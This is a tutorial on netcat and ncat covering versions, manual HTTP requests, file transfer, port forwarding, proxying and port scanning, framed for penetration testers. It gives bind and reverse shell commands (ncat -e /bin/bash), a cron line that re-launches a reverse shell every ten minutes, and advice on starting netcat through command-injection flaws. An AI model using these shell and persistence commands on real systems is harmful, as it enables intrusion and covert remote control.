How to use netcat (nc), ncat
Table of contents
Netcat is a useful network utility with which you can analyze and simulate the operation of many network protocols (for example, how to do this with HTTP will be shown later), you can execute commands on a remote machine and upload or download files from it, redirect traffic from one port to another or from one machine to another. Of course, a penetration tester (a network security auditor) needs to be an advanced user in network protocols and be able to use Netcat in the learning process.
But the real value of Netcat for a pentester is that this is a real backdoor! And since the utility is very useful for network administrators, it is installed in many systems, including servers, by default!!!
That is, if a vulnerability is found in a web application, for example, execution of arbitrary commands at the system level, then among the various operating ways, you can choose to launch Netcat, which, if run correctly, will perform the functions of a full featured backdoor, passing our commands to the operating system. Moreover, Netcat has two modes: listening mode and connection mode. If the remote computer is behind NAT and there is no way to connect to it directly over IP, then Netcat will come to the rescue again! In connection mode, it will connect back to your computer (Reverse Shell).
In the article about RouterSploit (“Instructions for Using RouterSploit”) in one of the tested routers (this was my own router) the vulnerability of remote command execution was found, although there was a limit on the amount of information returned – it was cut off after a certain number of characters. In such situations, you can use Netcat: as a command on a vulnerable router, you need to run nc, then connect to it; in this case, it will be possible to execute commands through Netcat without limiting the amount of information displayed.
We can assume a more difficult case – when the vulnerability of remote command injection is present, but the output of any messages is suppressed. In this case it is again more convenient to work through Netcat.
By the way, Netcat is so popular that it is present by default even in some advanced routers – in that my router Netcat is installed.
Of course, you can use Netcat not only for destructive purposes. This program for its intended purpose will be very useful for network administrators and webmasters. For example, I also have Netcat on virtual hosting.
It happened that Netcat has many versions written by different authors. The original version was called netcat (nc). She quickly became popular, but at some point the author stopped developing it and, despite its popularity, no one else supported either. For this reason, the program was rewritten several times by different authors, and sometimes completely from scratch.
This is the original program, the latest release of which was in January 2007. Its version is 1.10.
On some systems, like Kali Linux, this version is called nc.traditional:
Displays help for this program and shows the version [v1.10-41.1]
This is a modern version of netcat, which is written from scratch, without using the original netcat code. The authors of ncat are the authors of the famous Nmap program.
Ncat repeats almost all the functionality of the original program and contains additional features.
Ncat became the official replacement for the original netcat in some Linux distributions, for example, in Red Hat Enterprise Linux, CentOS, which are often used as web servers. For this reason, you will find Ncat on many computers on the network — for example, Ncat is installed on my shared hosting instead of Netcat.
Ncat provided in the Nmap package and, therefore, is available for different platforms, including Windows. That is, to install Ncat on Windows, it is enough to install NMap.
In Kali Linux, Ncat is for some reason contained in packages for the i386 architecture and is not contained in the NMap package, so the installation is as follows:
sudo dpkg --add-architecture i386 && sudo apt update sudo apt install ncat
In Arch Linux, BlackArch and their derivatives, it is enough to install NMap to install Ncat:
sudo pacman -S nmap
The GNU version of netcat, as stated in the description it is ‘network piping application’.
openbsd-netcat or netcat-openbsd
Version from OpenBSD. As stated in the description, the army knife to work with TCP/IP.
Another Netcat clone, created to be portable and offers strong encryption. It works on Unix-like operating systems and on Microsoft Win32.
And another Netcat clone, portable, offers strong encryption, among the features: AES-128-CBC + HMAC-SHA1 encryption, program execution (-e), source port selection, continuous reconnection with delay and other features.
Or as stated in another description: a secure backdoor for Linux and Windows.
Lightweight version of netcat, with twofish encryption added.
Similar to netcat tool with convenient file transfer functions over the network.
PHP system functions handler, as well as an alternative netcat handler.
Other variants of this classic tool include the amazingly versatile Socat, OpenBSD nc, Cryptcat, Netcat6, pnetcat, SBD, and the so-called GNU Netcat.
On some systems, modified versions or similar netcat utilities use the command names: nc, ncat, pnetcat, socat, sock, socket, sbd.
So, for your work, you can choose one of these versions, which one you like best. When searching for interesting programs on other people's machines, do not forget about alternatives if the netcat itself is not there.
In this manual, I will consider mainly ncat.
Ncat has two main modes: connect and listen.
In connect mode, the program connects to network services, among which may be another instance of running Ncat, and most other services, such as HTTP (web server), mail server, FTP server, Telnet, and so on.
The second mode of operation of Ncat is called “listening”. In this mode, Ncat waits for a connection from another host. In this mode, you can enable additional functions with options, for example, make Ncat:
- passes the data to the system as commands to execute
- returnes the file to the connecting host (acted as a web server or used to download a file from a remote host)
- redirects requests to another port or address
- works as a proxy
Moreover, it is possible for another instance of Ncat to connect to Ncat in listening mode (for example, to send commands) or another program — for example, a web browser to view or download a file, or another program that supports work through a proxy.
When connecting to a remote service, you enter commands (headers) of this protocol in plain text. Consider the example of the HTTP protocol.
Connect to the hackware.ru host on port 80 (this is the HTTP server service):
ncat -C hackware.ru 80
It seems that nothing happened:
But in fact, we got prompt (an invitation) to enter data. We will enter the HTTP headers (they are similar to commands, directives — these headers will tell the web server what we want from it; also the headers are used as a transmitter of meta-information):
GET / HTTP/1.0 Host: hackware.ru
Please note that after the last directive (Host: hackware.ru) the ENTER button is pressed twice.
The server sent us the answer, it is HTML code.
We sent the correct HTTP headers (requests). In the first, we indicated to use the GET method, show the main page (/ means a request to the root folder, or we could specify a specific path, for example, /index.php), and the HTTP/1.0 is protocol version.
Then we used the Host directive and along with it we indicated the host we are interested in (since the request is made to the remote server over IP, and on this IP there are many virtual hosts). By the way, you can try to make the same request without specifying a host or indicating another host – the data obtained will be different.
Instead of the GET method, you can use the HEAD method and, for example, make a request to an arbitrary page:
ncat -C hackware.ru 80
HEAD /any_page.php HTTP/1.0 Host: hackware.ru
As you can see, using the HEAD method only displays response headers.
That is, you can communicate with the web server with fine-tuned HTTP directives, sending literally anything. In the event that “on the other side” a non-standard solution performs the role of a web server, then in the described manner it is possible to test what the remote service supports and how it reacts to unusual headers and protocol commands.
And HTTP is given simply as an example – you can work with different services in which the headers or commands are plain text.
Let's return to our first command.
ncat -C hackware.ru 80
In its simplest form, the connection command is:
ncat REMOTE_HOST PORT
We also used the -C option, it enables the replacement of CRLF. That is, any end-of-line characters that we enter will be replaced with CRLF. As the end of the line, CRLF is required in many protocols, including HTTP, although many servers still accept the normal newline (LF) character normally. That is, in fact, in this case it would be possible to do without -C.
How can we see that in the first, in the second case, the response code 302 Moved Temporarily is returned to us – that is, we are redirected to another page:
HTTP/1.1 302 Moved Temporarily Server: nginx Content-Type: text/html; charset=iso-8859-1 Connection: close Location: https://hackware.ru/any_page.php Date: Tue, 07 May 2019 02:56:40 GMT X-Page-Speed: 22.214.171.124-0 Cache-Control: max-age=0, no-cache
As can be understood from the Location directive, we are redirected to the HTTPS protocol.
To connect to Ncat via SSL we need to:
- specify option –ssl
- specify the appropriate port number
For the HTTPS protocol, the default port is 443, so we connect as follows:
ncat -C --ssl hackware.ru 443
GET / HTTP/1.0 Host: hackware.ru
As a result, the HTML code of the requested page is finally shown to us:
In this mode, the program begins to listen to the specified port, waiting for connections. To enable this mode, it is enough to specify the -l option. Optionally, you can specify the IP address of the interface on which to listen (if you do not specify, it will bind to all interfaces) and the port to listen on (if you do not specify, the default port 31337 is used).
To connect to the server, I will need to know the IP address of the remote host, so I start with the command to find it:
curl suip.biz/ip/ 126.96.36.199
Run the program on a remote host in listening mode with binding to port 43210:
ncat -l 43210
Now I am connecting from the local computer:
ncat 188.8.131.52 43210
In this example and later, I will use the IP address 184.108.40.206. Obviously, in your work you need to change it to the IP address (or host name) of the machine to which you are connecting. I also use port 43210 – you can choose any other port that is not occupied.
In any of the ncat windows (server or client), you can enter text and it will be displayed in another window with the ncat instance connected.
The essence of the work is very simple – the entered text is transferred from one window to another and output to the standard output – this is the default behavior of the program. With the help of other options, you can set up more interesting activity – for example, send the received text to the operating system for execution as commands.
With the -e option, listening Ncat can be connected to the program, to which it will transmit commands for execution. As a special case, “/bin/bash” can be specified as such a command, that is, all received lines will be sent to the Bash shell.
On the remote server, run Ncat as follows:
ncat -l -e "/bin/bash" 43210
And connect from the local computer:
ncat 220.127.116.11 43210
In the local ncat, I ran:
cd hackware.ru/logs ls -l
And got a list of files on a remote computer. That is, commands are executed by analogy with SSH.
To maintain websites, you can enter various commands directly in the local console, for example, make backup copies, download installation files from official sites directly to the server, and not through your computer.
Well, the backdoor functions are also enclosed in the same command – if there is a vulnerability on the site that allows you to execute commands at the system level, a corresponding request is made to the web page so that ncat will be launched with option to transfer received commands to the OS for execution. Then the attacker connects already to the server (to ncat) directly, bypassing the vulnerable site, to send his commands.
If the commands need to be executed on the Windows system, then the following option must be specified: -e cmd.exe
If a remote machine is behind NAT, then it is impossible to connect to it.
But using Ncat, you can configure the connection between the machines, one of which is behind NAT. That is, the end result will be the same as if you were connected to the computer behind NAT.
In this case, we set the options a little differently.
Run on your local computer:
ncat -l 43210
Please note that we enabled listen mode, but did not enable the command execution – because no commands need to be executed on the local computer!
And on a remote computer, we run the program like this:
ncat -e "/bin/bash" HOST 43210
Instead of HOST, it should contain the IP address or host name of the local computer where ncat is running in listening mode. In additoin on the remote computer is specified option -e "/bin/bash", which will allow to execute the sent commands.
With this we will achieve connection with a computer behind NAT and the ability to execute commands on it.
If you press CTRL+c or CTRL+d in the client console, not only Ncat on the local computer will be closed, but Ncat to which the connection was made will be closed as well. If you want Ncat on the server not to close, use the option –keep-open:
ncat -l -e "/bin/bash" --keep-open 43210
Now if you connect to a remote computer:
ncat 18.104.22.168 43210
And then close the connection to Ncat in listen mode, then the instance of Ncat on the remote system will continue its work and you can reconnect to Ncat acting as a server.
With Ncat, you can upload files to a remote server. For example, I need to send the some_stuff.txt file. Then on the server (where the file will be uploaded), I run:
ncat -l 43210 > some_stuff.txt
And on the local computer (from which the file will be uploaded) I launch:
ncat 22.214.171.124 43210 < some_stuff.txt
When the transfer is completed, both ncat sessions will terminate.
Suppose I need to download the some_stuff.txt file from a remote computer. Then on the server I run:
ncat -l 43210 < some_stuff.txt
And on the local computer where the file will be downloaded, I launch Ncat as follows:
ncat 126.96.36.199 43210 > some_stuff.txt
Please note that nothing will be shown and after downloading the file both instances of Ncat will continue to work.
In fact, it will be a single file web server, but, nevertheless, it is still an interesting feature.
So, create a file hello.http and add the following content to it:
HTTP/1.0 200 OK <html> <body> <h1>Hello, world!</h1> </body> </html>
Run Ncat on the server:
ncat -l 43210 < hello.http
In the web browser, open the address of the remote host with the port: http://188.8.131.52:43210
By the way, ncat on the server will show which headers were sent by the web browser:
Another example from the official manual on ncat:
nc -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; cat index.html"
Or, if you are a Windows user:
ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"
These commands will start the HTTP server that makes the index.html file from the current working directory accessible. To open this file you need to visit the browser page http://localhost:8080/. If instead of -p 8080 you specify -p 80, then from the URL you can delete :8080. Please note that this file will be sent regardless of the requested URL – to change the file that is sent, you need to change the Ncat command or use the httpd.lua script.
Using the already considered –sh-exec option, any program that is not a network can be made available over the network. However, due to the peculiarities of I/O (buffering and all that) in an interactive mode, not all programs will work well.
Consider another case: initially the network program is configured to listen only to the local address (localhost) and it is impossible to connect to it from outside (from a remote computer). The most common example is MySQL. This service is a network and other programs (for example, a PHP script handler) communicating with it over the network. But many system administrators configure MySQL so that it can be accessed from the local computer, but not from a remote computer. As a result, the following is achieved: Web sites, including those using MySQL databases, work normally, without changes, since the connection to MySQL is performed locally anyway; but the attacker can no longer connect to MySQL (for example, for password brute-forcing). Nevertheless, at the same time, for legitimate system administrator or webmaster the possibility of remote work with MySQL becomes inaccessible.
With the help of Ncat, you can solve this problem – again, for a while, make MySQL available for remote connection. This is achieved by the ability of Ncat to redirect traffic.
Let Whatportis remind us which port MySQL uses:
whatportis mysql +-------+------+----------+-------------+ | Name | Port | Protocol | Description | +-------+------+----------+-------------+ | mysql | 3306 | tcp | MySQL | | mysql | 3306 | udp | MySQL | +-------+------+----------+-------------+
Now on the server, where a locally accessible service is running, run a command like this:
ncat --sh-exec "ncat DEST_IP DEST_PORT" -l PORT --keep-open
- DEST_IP is the address to which the redirection will be made.
- DEST_PORT is the port to which the redirection will be made
- PORT is the port on the server to which we will connect from our local computer
By the way, DEST_IP can be a local address, in this case I use 127.0.0.1. So, my command, which I run on the server:
ncat --sh-exec "ncat 127.0.0.1 3306" -l 43210 --keep-open
On my local computer, I run:
mysql -h IP -u USER -p -P PORT --protocol=tcp
- IP is address of the server where the network service is only available locally
- USER is MySQL username
- PORT is the port number that ncat listens on
- Option -p means to request a user password
- –protocol=tcp means that the TCP protocol will be used (you can also use UDP – the main thing is to specify the appropriate option in ncat, which can work with UDP, but uses TCP by default)
As you can see, everything works:
Ncat can perform its connections through a proxy, the following types are supported: SOCKS 4, SOCKS 5 and HTTP.
I propose to consider a more interesting feature – the transformation of Ncat itself into a proxy. As a proxy, Ncat only supports HTTP type.
The creation of HTTP proxy is supported both for authentication and without:
ncat -l 3128 --proxy-type http ncat -l 3128 --proxy-type http --proxy-auth <user>:<password>
- -l means to enable listening mode
- 3128 means to listen to the specified port number
- –proxy-type http means the choice of proxy type
- –proxy-auth <user>:<password> sets the credentials for authorization on the proxy server
For example, on my hosting, I launch a proxy server:
ncat -l 43210 --proxy-type http --proxy-auth user:pass
Now, in the settings of the web browser, I specify the corresponding IP and port that ncat listens on, and also tick the box to use this proxy for all connections:
I open the site where you can check your IP: https://suip.biz/?act=myip
I immediately requested credentials for authorization on the proxy:
And instead of my real IP, the address of my hosting is now shown, which I use as a proxy via Ncat:
In listening mode, if the port is not set, 31337 will still be used (not other ports that are popular for proxy). The proxy supports web surfing methods GET, HEAD and POST, as well as the CONNECT method, which allows you to tunnel arbitrary TCP connections (when Ncat connects as a client, it uses CONNECT).
For HTTP, Basic and Digest authentication schemes are supported, both on the client and on the server side. Digest is more secure, so if it is available, then Ncat will prefer it more than Basic. The server offers clients both schemes. Basic sends the credentials in clear text, but Digest does not. The implementation of Digest in Ncat allows replay attacks for up to 10 seconds (with Basic, replay attacks and other attacks are always possible).
Ncat has an access control mechanism that allows you to configure Ncat in listening mode so that only certain IPs can connect to it or certain IPs are blocked from connecting. This is achieved using the options:
Ncat does not support this feature, but the original nc can scan ports.
To run the TCP port scanner in the range [startPort] to [endPort]:
nc -v -n -z -w1 [Target_IP] [startPort]-[endPort]
On a remote machine, install ncat using Cron every 10 minutes:
crontab -e */10 * * * * ncat IP 43210 -e /bin/bash
Since Ncat can act as a server that accepts anything and displays it on the screen (or saves it to a file), you can run Ncat in listening mode, and in a program whose network activity interests us, we can specify the address of Ncat. As a result, the program will contact Ncat, and in turn, Ncat will show us everything that this program sent to it.
Suppose I’m wondering what kind of request the dig command sends — this command is used to convert host names to IP addresses and back. I know that by default it uses UDP port 53. Therefore, on my computer, I run ncat with the -l option (enables listening), with the -u option (meaning using UDP) and specifying port 53:
sudo ncat -l -u 53
On the same computer in another console, I make a request where, as a server, to which the program should access, I specify localhost:
dig hackware.ru @localhost
As it turned out, dig does not use plain text, but binary data, so unreadable characters were displayed in the ncat console. Although even so it is clear that the domain is transmitted in plain text (almost) and 3 attempts are made. By the way, Ncat has options for saving binary data. That is, if you wish, you can save them correctly and then analyze them with a hexadecimal editor.
ncat [options] [hostname] [port]
Options taking a time assume seconds. Append 'ms' for milliseconds, 's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms). -4 Use IPv4 only -6 Use IPv6 only -U, --unixsock Use Unix domain sockets only -C, --crlf Use CRLF for EOL sequence -c, --sh-exec <command> Executes the given command via /bin/sh -e, --exec <command> Executes the given command --lua-exec <filename> Executes the given Lua script -g hop1[,hop2,...] Loose source routing hop points (8 max) -G <n> Loose source routing hop pointer (4, 8, 12, ...) -m, --max-conns <n> Maximum <n> simultaneous connections -h, --help Display this help screen -d, --delay <time> Wait between read/writes -o, --output <filename> Dump session data to a file -x, --hex-dump <filename> Dump session data as hex to a file -i, --idle-timeout <time> Idle read/write timeout -p, --source-port port Specify source port to use -s, --source addr Specify source address to use (doesn't affect -l) -l, --listen Bind and listen for incoming connections -k, --keep-open Accept multiple connections in listen mode -n, --nodns Do not resolve hostnames via DNS -t, --telnet Answer Telnet negotiations -u, --udp Use UDP instead of default TCP --sctp Use SCTP instead of default TCP -v, --verbose Set verbosity level (can be used several times) -w, --wait <time> Connect timeout -z Zero-I/O mode, report connection status only --append-output Append rather than clobber specified output files --send-only Only send data, ignoring received; quit on EOF --recv-only Only receive data, never send anything --allow Allow only given hosts to connect to Ncat --allowfile A file of hosts allowed to connect to Ncat --deny Deny given hosts from connecting to Ncat --denyfile A file of hosts denied from connecting to Ncat --broker Enable Ncat's connection brokering mode --chat Start a simple Ncat chat server --proxy <addr[:port]> Specify address of host to proxy through --proxy-type <type> Specify proxy type ("http" or "socks4" or "socks5") --proxy-auth <auth> Authenticate with HTTP or SOCKS proxy server --ssl Connect or listen with SSL --ssl-cert Specify SSL certificate file (PEM) for listening --ssl-key Specify SSL private key (PEM) for listening --ssl-verify Verify trust and domain name of certificates --ssl-trustfile PEM file containing trusted SSL certificates --ssl-ciphers Cipherlist containing SSL ciphers to use --ssl-alpn ALPN protocol list to use. --version Display Ncat's version information and exit See the ncat(1) manpage for full options, descriptions and usage examples
This article has reviewed many examples of using Ncat, but not all.
As for the cases of using Ncat, there may be even more. Do not forget about the possibility to combine with each other the functions of this utility.
- Concealed control of a Windows-based computer (using Metasploit) (53.1%)
- How to install Pupy (51.9%)
- Pupy manual: how to create a backdoor (51.9%)
- How to manage computers via backdoor (51.9%)
- How to run Armitage in Arch Linux and BlackArch (50%)
- Hacking WPA/WPA2 passwords with Aircrack-ng: dictionary attack, cooperation with Hashcat, maskprocessor, statsprocessor, John the Ripper, Crunch, hacking in Windows (RANDOM - 1.2%)